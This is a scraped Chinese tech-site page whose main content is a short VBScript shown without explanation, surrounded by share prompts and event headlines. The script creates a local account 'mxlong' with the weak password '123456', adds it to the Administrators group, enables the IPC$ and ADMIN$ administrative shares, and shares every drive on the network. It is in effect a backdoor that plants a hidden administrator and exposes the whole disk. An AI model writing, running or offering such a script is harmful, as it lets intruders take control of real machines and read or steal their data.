扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
Dim Fso,WshShell,d,s,dc,n
'定义共享盘符
Disks=Array("A$=A:","C$=C:","D$=D:","E$=E:","F$=F:","H$=H:","I$=I:",
"J$=J:","K$=K:","L$=L:","M$=M:","N$=N:","O$=O:","P$=P:","Q$=Q:",
"R$=R:","S$=S:","T$=T:","U$=U:","V$=V:","W$=W:","X$=X:","Y$=Y:","Z$=Z:")
Set WshShell=WSCript.CreateObject("WSCript.Shell")
Set Fso=CreateObject("Scripting.FileSystemObject")
Set dc=Fso.Drives
'添加用户到ADMIN组,开IPC$和ADMIN$
WshShell.Run "net user mxlong 123456 /add"
WshShell.Run "net localgroup administrators mxlong /add"
WshShell.Run "net share IPC$"
WshShell.Run "net share ADMIN$"
'找出驱动器的数目
For Each d In dc
s=s & d.DriveLetter
n=n+1
Next
'将所有驱动器开共享
For i=0 to n
WshShell.Run "net share " & Disks(i)
Next
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者